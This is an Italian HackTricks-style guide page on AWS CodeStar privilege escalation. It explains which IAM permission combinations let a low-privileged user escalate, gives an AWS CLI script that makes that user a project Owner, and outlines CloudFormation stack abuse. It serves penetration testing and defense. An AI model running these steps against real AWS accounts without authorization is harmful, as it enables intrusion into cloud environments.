AWS - Codestar Privesc

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Codestar

Puoi trovare ulteriori informazioni su codestar in:

pagecodestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Con queste autorizzazioni puoi abusare di un ruolo IAM di codestar per eseguire azioni arbitrarie tramite un template di cloudformation. Controlla la seguente pagina:

pageiam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Questa tecnica utilizza codestar:CreateProject per creare un progetto codestar e codestar:AssociateTeamMember per rendere un utente IAM il proprietario di un nuovo progetto CodeStar, che gli concederà una nuova policy con alcune autorizzazioni extra.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Se sei già un membro del progetto, puoi utilizzare il permesso codestar:UpdateTeamMember per aggiornare il tuo ruolo a proprietario invece di codestar:AssociateTeamMember

Impatto potenziale: Privesc alla policy di codestar generata. Puoi trovare un esempio di tale policy in:

pagecodestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Crea un nuovo progetto:

  • Utilizza l'azione codestar:CreateProjectFromTemplate per avviare la creazione di un nuovo progetto.

  • Una volta creata con successo, l'accesso viene automaticamente concesso per cloudformation:UpdateStack.

  • Questo accesso mira specificamente a uno stack associato al ruolo IAM CodeStarWorker-<nome generico del progetto>-CloudFormation.

  1. Aggiorna lo stack di destinazione:

  • Con i permessi di CloudFormation concessi, procedi all'aggiornamento dello stack specificato.

  • Il nome dello stack di solito segue uno dei due pattern:

  • awscodestar-<nome generico del progetto>-infrastructure

  • awscodestar-<nome generico del progetto>-lambda

  • Il nome esatto dipende dal template scelto (facendo riferimento allo script di exploit di esempio).

  1. Accesso e permessi:

  • Dopo l'aggiornamento, ottieni le capacità assegnate al ruolo IAM di CloudFormation collegato allo stack.

  • Nota: Ciò non fornisce automaticamente i privilegi di amministratore completo. Potrebbero essere necessarie risorse configurate in modo errato all'interno dell'ambiente per elevare ulteriormente i privilegi.

Per ulteriori informazioni, consulta la ricerca originale: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Puoi trovare l'exploit su https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Impatto potenziale: Privesc al ruolo IAM di cloudformation.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated